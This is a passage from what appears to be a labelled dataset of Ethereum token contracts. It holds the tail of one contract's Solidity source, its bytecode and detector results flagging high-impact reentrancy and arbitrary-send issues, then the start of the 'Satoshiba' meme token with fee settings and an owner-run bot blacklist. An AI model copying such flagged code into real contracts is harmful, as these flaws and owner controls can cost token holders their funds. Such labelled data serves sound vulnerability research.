function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Max. Tx Percent must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c4081a4c11610064578063c4081a4c146103ba578063c9567bf9146103e3578063d543dbeb146103fa578063dd62ed3e14610423578063e6ec64ec146104605761012a565b80638da5cb5b146102e757806395d89b4114610312578063a9059cbb1461033d578063b515566a1461037a578063c3c8cd80146103a35761012a565b8063313ce567116100e7578063313ce567146102285780635932ead1146102535780636fc3eaec1461027c57806370a0823114610293578063715018a6146102d05761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd1461019757806323b872dd146101c2578063273123b7146101ff5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610489565b6040516101519190612e47565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c919061298d565b6104c6565b60405161018e9190612e2c565b60405180910390f35b3480156101a357600080fd5b506101ac6104e4565b6040516101b99190612fc9565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e4919061293e565b6104f5565b6040516101f69190612e2c565b60405180910390f35b34801561020b57600080fd5b50610226600480360381019061022191906128b0565b6105ce565b005b34801561023457600080fd5b5061023d6106be565b60405161024a919061303e565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a0a565b6106c7565b005b34801561028857600080fd5b50610291610779565b005b34801561029f57600080fd5b506102ba60048036038101906102b591906128b0565b6107eb565b6040516102c79190612fc9565b60405180910390f35b3480156102dc57600080fd5b506102e561083c565b005b3480156102f357600080fd5b506102fc61098f565b6040516103099190612d5e565b60405180910390f35b34801561031e57600080fd5b506103276109b8565b6040516103349190612e47565b60405180910390f35b34801561034957600080fd5b50610364600480360381019061035f919061298d565b6109f5565b6040516103719190612e2c565b60405180910390f35b34801561038657600080fd5b506103a1600480360381019061039c91906129c9565b610a13565b005b3480156103af57600080fd5b506103b8610b63565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612a5c565b610bdd565b005b3480156103ef57600080fd5b506103f8610c7c565b005b34801561040657600080fd5b50610421600480360381019061041c9190612a5c565b6111d8565b005b34801561042f57600080fd5b5061044a60048036038101906104459190612902565b611321565b6040516104579190612fc9565b60405180910390f35b34801561046c57600080fd5b5061048760048036038101906104829190612a5c565b6113a8565b005b60606040518060400160405280600581526020017f4d6f6e6b61000000000000000000000000000000000000000000000000000000815250905090565b60006104da6104d3611447565b848461144f565b6001905092915050565b6000683635c9adc5dea00000905090565b600061050284848461161a565b6105c38461050e611447565b6105be8560405180606001604052806028815260200161372560289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610574611447565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bab9092919063ffffffff16565b61144f565b600190509392505050565b6105d6611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610663576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065a90612f29565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106cf611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461075c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075390612f29565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107ba611447565b73ffffffffffffffffffffffffffffffffffffffff16146107da57600080fd5b60004790506107e881611c0f565b50565b6000610835600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a565b9050919050565b610844611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c890612f29565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4d6f6e6b61000000000000000000000000000000000000000000000000000000815250905090565b6000610a09610a02611447565b848461161a565b6001905092915050565b610a1b611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9f90612f29565b60405180910390fd5b60005b8151811015610b5f57600160066000848481518110610af3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b57906132df565b915050610aab565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ba4611447565b73ffffffffffffffffffffffffffffffffffffffff1614610bc457600080fd5b6000610bcf306107eb565b9050610bda81611d78565b50565b610be5611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c72576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6990612f29565b60405180910390fd5b80600a8190555050565b610c84611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0890612f29565b60405180910390fd5b601160149054906101000a900460ff1615610d61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5890612fa9565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610df130601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061144f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e3757600080fd5b505afa158015610e4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6f91906128d9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ed157600080fd5b505afa158015610ee5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0991906128d9565b6040518363ffffffff1660e01b8152600401610f26929190612d79565b602060405180830381600087803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f7891906128d9565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611001306107eb565b60008061100c61098f565b426040518863ffffffff1660e01b815260040161102e96959493929190612dcb565b6060604051808303818588803b15801561104757600080fd5b505af115801561105b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110809190612a85565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550671d7d843dc3b480006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611182929190612da2565b602060405180830381600087803b15801561119c57600080fd5b505af11580156111b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d49190612a33565b5050565b6111e0611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461126d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126490612f29565b60405180910390fd5b600081116112b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a790612ea9565b60405180910390fd5b6112df60646112d183683635c9adc5dea0000061207290919063ffffffff16565b6120ed90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516113169190612fc9565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113b0611447565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461143d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143490612f29565b60405180910390fd5b80600b8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b690612f89565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152690612ec9565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160d9190612fc9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561168a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168190612f69565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f190612e69565b60405180910390fd5b6000811161173d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173490612f49565b60405180910390fd5b61174561098f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117b3575061178361098f565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ae857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561185c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61186557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119105750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119665750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561197e5750601160179054906101000a900460ff165b15611a2e5760125481111561199257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106119dd57600080fd5b600a426119ea91906130ff565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a39306107eb565b9050601160159054906101000a900460ff16158015611aa65750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611abe5750601160169054906101000a900460ff165b15611ae657611acc81611d78565b60004790506000811115611ae457611ae347611c0f565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b8f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b9957600090505b611ba584848484612137565b50505050565b6000838311158290611bf3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bea9190612e47565b60405180910390fd5b5060008385611c0291906131e0565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c5f6002846120ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c8a573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cdb6002846120ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d06573d6000803e3d6000fd5b5050565b6000600854821115611d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4890612e89565b60405180910390fd5b6000611d5b612164565b9050611d7081846120ed90919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dd6577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e045781602001602082028036833780820191505090505b5090503081600081518110611e42577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ee457600080fd5b505afa158015611ef8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1c91906128d9565b81600181518110611f56577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fbd30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461144f565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612021959493929190612fe4565b600060405180830381600087803b15801561203b57600080fd5b505af115801561204f573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b60008083141561208557600090506120e7565b600082846120939190613186565b90508284826120a29190613155565b146120e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d990612f09565b60405180910390fd5b809150505b92915050565b600061212f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061218f565b905092915050565b80612145576121446121f2565b5b612150848484612235565b8061215e5761215d612400565b5b50505050565b6000806000612171612414565b9150915061218881836120ed90919063ffffffff16565b9250505090565b600080831182906121d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121cd9190612e47565b60405180910390fd5b50600083856121e59190613155565b9050809150509392505050565b6000600a5414801561220657506000600b54145b1561221057612233565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061224787612476565b9550955095509550955095506122a586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124de90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233a85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238681612586565b6123908483612643565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123ed9190612fc9565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea00000905061244a683635c9adc5dea000006008546120ed90919063ffffffff16565b82101561246957600854683635c9adc5dea00000935093505050612472565b81819350935050505b9091565b60008060008060008060008060006124938a600a54600b5461267d565b92509250925060006124a3612164565b905060008060006124b68e878787612713565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061252083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bab565b905092915050565b600080828461253791906130ff565b90508381101561257c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257390612ee9565b60405180910390fd5b8091505092915050565b6000612590612164565b905060006125a7828461207290919063ffffffff16565b90506125fb81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612658826008546124de90919063ffffffff16565b6008819055506126738160095461252890919063ffffffff16565b6009819055505050565b6000806000806126a9606461269b888a61207290919063ffffffff16565b6120ed90919063ffffffff16565b905060006126d360646126c5888b61207290919063ffffffff16565b6120ed90919063ffffffff16565b905060006126fc826126ee858c6124de90919063ffffffff16565b6124de90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061272c858961207290919063ffffffff16565b90506000612743868961207290919063ffffffff16565b9050600061275a878961207290919063ffffffff16565b905060006127838261277585876124de90919063ffffffff16565b6124de90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127af6127aa8461307e565b613059565b905080838252602082019050828560208602820111156127ce57600080fd5b60005b858110156127fe57816127e48882612808565b8452602084019350602083019250506001810190506127d1565b5050509392505050565b600081359050612817816136df565b92915050565b60008151905061282c816136df565b92915050565b600082601f83011261284357600080fd5b813561285384826020860161279c565b91505092915050565b60008135905061286b816136f6565b92915050565b600081519050612880816136f6565b92915050565b6000813590506128958161370d565b92915050565b6000815190506128aa8161370d565b92915050565b6000602082840312156128c257600080fd5b60006128d084828501612808565b91505092915050565b6000602082840312156128eb57600080fd5b60006128f98482850161281d565b91505092915050565b6000806040838503121561291557600080fd5b600061292385828601612808565b925050602061293485828601612808565b9150509250929050565b60008060006060848603121561295357600080fd5b600061296186828701612808565b935050602061297286828701612808565b925050604061298386828701612886565b9150509250925092565b600080604083850312156129a057600080fd5b60006129ae85828601612808565b92505060206129bf85828601612886565b9150509250929050565b6000602082840312156129db57600080fd5b600082013567ffffffffffffffff8111156129f557600080fd5b612a0184828501612832565b91505092915050565b600060208284031215612a1c57600080fd5b6000612a2a8482850161285c565b91505092915050565b600060208284031215612a4557600080fd5b6000612a5384828501612871565b91505092915050565b600060208284031215612a6e57600080fd5b6000612a7c84828501612886565b91505092915050565b600080600060608486031215612a9a57600080fd5b6000612aa88682870161289b565b9350506020612ab98682870161289b565b9250506040612aca8682870161289b565b9150509250925092565b6000612ae08383612aec565b60208301905092915050565b612af581613214565b82525050565b612b0481613214565b82525050565b6000612b15826130ba565b612b1f81856130dd565b9350612b2a836130aa565b8060005b83811015612b5b578151612b428882612ad4565b9750612b4d836130d0565b925050600181019050612b2e565b5085935050505092915050565b612b7181613226565b82525050565b612b8081613269565b82525050565b6000612b91826130c5565b612b9b81856130ee565b9350612bab81856020860161327b565b612bb4816133b5565b840191505092915050565b6000612bcc6023836130ee565b9150612bd7826133c6565b604082019050919050565b6000612bef602a836130ee565b9150612bfa82613415565b604082019050919050565b6000612c126026836130ee565b9150612c1d82613464565b604082019050919050565b6000612c356022836130ee565b9150612c40826134b3565b604082019050919050565b6000612c58601b836130ee565b9150612c6382613502565b602082019050919050565b6000612c7b6021836130ee565b9150612c868261352b565b604082019050919050565b6000612c9e6020836130ee565b9150612ca98261357a565b602082019050919050565b6000612cc16029836130ee565b9150612ccc826135a3565b604082019050919050565b6000612ce46025836130ee565b9150612cef826135f2565b604082019050919050565b6000612d076024836130ee565b9150612d1282613641565b604082019050919050565b6000612d2a6023836130ee565b9150612d3582613690565b604082019050919050565b612d4981613252565b82525050565b612d588161325c565b82525050565b6000602082019050612d736000830184612afb565b92915050565b6000604082019050612d8e6000830185612afb565b612d9b6020830184612afb565b9392505050565b6000604082019050612db76000830185612afb565b612dc46020830184612d40565b9392505050565b600060c082019050612de06000830189612afb565b612ded6020830188612d40565b612dfa6040830187612b77565b612e076060830186612b77565b612e146080830185612afb565b612e2160a0830184612d40565b979650505050505050565b6000602082019050612e416000830184612b68565b92915050565b60006020820190508181036000830152612e618184612b86565b905092915050565b60006020820190508181036000830152612e8281612bbf565b9050919050565b60006020820190508181036000830152612ea281612be2565b9050919050565b60006020820190508181036000830152612ec281612c05565b9050919050565b60006020820190508181036000830152612ee281612c28565b9050919050565b60006020820190508181036000830152612f0281612c4b565b9050919050565b60006020820190508181036000830152612f2281612c6e565b9050919050565b60006020820190508181036000830152612f4281612c91565b9050919050565b60006020820190508181036000830152612f6281612cb4565b9050919050565b60006020820190508181036000830152612f8281612cd7565b9050919050565b60006020820190508181036000830152612fa281612cfa565b9050919050565b60006020820190508181036000830152612fc281612d1d565b9050919050565b6000602082019050612fde6000830184612d40565b92915050565b600060a082019050612ff96000830188612d40565b6130066020830187612b77565b81810360408301526130188186612b0a565b90506130276060830185612afb565b6130346080830184612d40565b9695505050505050565b60006020820190506130536000830184612d4f565b92915050565b6000613063613074565b905061306f82826132ae565b919050565b6000604051905090565b600067ffffffffffffffff82111561309957613098613386565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310a82613252565b915061311583613252565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561314a57613149613328565b5b828201905092915050565b600061316082613252565b915061316b83613252565b92508261317b5761317a613357565b5b828204905092915050565b600061319182613252565b915061319c83613252565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131d5576131d4613328565b5b828202905092915050565b60006131eb82613252565b91506131f683613252565b92508282101561320957613208613328565b5b828203905092915050565b600061321f82613232565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061327482613252565b9050919050565b60005b8381101561329957808201518184015260208101905061327e565b838111156132a8576000848401525b50505050565b6132b7826133b5565b810181811067ffffffffffffffff821117156132d6576132d5613386565b5b80604052505050565b60006132ea82613252565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561331d5761331c613328565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f4d61782e2054782050657263656e74206d75737420626520677265617465722060008201527f7468616e20300000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c726561647920656e61626c6564202f206f706560008201527f6e65640000000000000000000000000000000000000000000000000000000000602082015250565b6136e881613214565b81146136f357600080fd5b50565b6136ff81613226565b811461370a57600080fd5b50565b61371681613252565b811461372157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122011dd15d98e1f68af7291c3da7a6d932bda5d797f2661163959ccee50684a22fe64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 10,112 |
0x1700ca5e89ccb19e751d3c8a615dccf76873dea1 | /**
*Submitted for verification at Etherscan.io on 2022-04-07
*/
// SPDX-License-Identifier: Unlicensed
/*
The number of crypto investors has increased rapidly recently due to the wider application of blockchain technology.
However, how many of you really understand the history of cryptocurrency?
I bet you won’t even know who Satorshi is and how great he is as a kiddo.
Let’s tell us the story of Storshi and express our greatest gratitude to the establishment.
$Satoshiba token 🚀
🚀🚀🚀🚀
TG:
satoshibaportal
🚀🚀🚀🚀
*/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Satoshiba is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Satoshiba";
string private constant _symbol = "Satoshiba";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 3;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 9;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => uint256) public _buyMap;
address payable private _marketingAddress ;
IUniswapV2Router02 public uniswapV2Router;
